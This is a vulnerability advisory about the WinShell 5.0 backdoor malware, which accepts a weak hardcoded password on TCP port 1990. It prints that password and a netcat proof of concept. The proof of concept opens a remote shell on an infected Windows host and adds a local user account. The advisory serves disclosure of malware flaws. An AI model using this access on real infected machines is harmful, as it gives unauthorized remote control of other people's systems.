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Backdoor.Win32.WinShell.50 Hardcoded Password

Backdoor.Win32.WinShell.50 Hardcoded Password
Posted Dec 3, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.WinShell.50 malware suffers from a hard-coded password vulnerability.

tags | exploit
systems | windows
MD5 | 27ba31b3f2064428f9f6c10826117780

Backdoor.Win32.WinShell.50 Hardcoded Password

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8170928cd3e0f1a79b9d40ae19a4d217.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1990. Authentication is required for remote user access. However, the password "tdkhbhhesdth" is weak and hardcoded within the executable.
Type: PE32
MD5: 8170928cd3e0f1a79b9d40ae19a4d217
Vuln ID: MVID-2021-0416
Disclosure: 12/03/2021


Exploit/PoC:
nc64.exe x.x.x.x 1990
WeLCoMe to X-FileZzZ & The^GoBLiN PubStro plz press password :tdkhbhhesdth

WinShell v5.0 (C)2002 janker.org

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user MALVULN hell /add
net user MALVULN hell /add
The command completed successfully.


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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